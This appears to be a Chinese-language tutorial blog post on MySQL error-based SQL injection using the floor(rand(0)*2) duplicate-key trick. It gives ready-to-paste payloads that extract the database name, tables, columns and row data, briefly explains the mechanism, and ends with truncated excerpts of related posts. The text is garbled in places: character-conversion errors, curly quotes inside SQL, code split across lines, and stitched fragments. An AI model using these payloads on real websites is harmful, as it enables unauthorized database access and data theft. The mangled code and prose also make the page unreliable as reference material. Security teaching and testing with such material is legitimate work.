報錯注入的原理分析sql報錯注入就是利用資料庫的某些機制,人為地製造錯誤條件,使得查詢結果能夠出現在錯誤資訊中。這種手段在聯合查詢受限且能返回錯誤資訊的情況下比較好用。
一般是在頁面沒有顯示位、但用echo mysql_error();輸出了錯誤資訊的時候使用,它的特點是注入速度快,但是語句較複雜,不能用group_concat(),只能用limit依次猜解;
and
(select 1 from (select count(*
),concat((
select
(select concat
(cast
(database
() as char)
,0x7e
)) from information_schema.tables where table_schema=
database
() limit 0,1
),floor
(rand(0
)*2)
)x from information_schema.tables group by x)a)
//爆資料庫
and
(select 1 from (select count(*
),concat((
select
(select concat
(cast
(table_name as char)
,0x7e
)) from information_schema.tables where table_schema=』database_name』 limit 0,1
),floor
(rand(0
)*2)
)x from information_schema.tables group by x)a)
//爆表名,可以利用group_concat爆多個資料
and
(select 1 from (select count(*
),concat((
select
(select concat
(cast
(column_name as char)
,0x7e
)) from information_schema.columns where table_name=』table_name』 limit 0,1
),floor
(rand(0
)*2)
)x from information_schema.tables group by x)a)
//爆欄位,可以利用group_concat爆多個資料
and
(select 1 from (select count(*
),concat((
select
(select concat
(cast
(concat
(user) as char)
,0x7e
)) from database.table limit 0,1
),floor
(rand(0
)*2)
)x from information_schema.tables group by x)a)
//爆資料,但是一次只能爆乙個
floor
()是取整數
rand
()在0和1之間產生乙個隨機數
rand(0
)*2將取0到2的隨機數
floor
(rand()
*2)有兩條記錄就會報錯
floor
(rand(0
)*2)記錄需為3條以上,且3條以上必報錯,返回的值是有規律的
count(*
)是用來統計結果的,相當於重新整理一次結果
group by在對資料進行分組時會先看看虛擬表裡有沒有這個值,沒有的話就插入存在的話count(*
)加1在使用group by時floor
(rand(0
)*2)會被執行一次,若虛表不存在記錄,插入虛表時會再執行一次
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...
SQL注入 報錯注入
利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...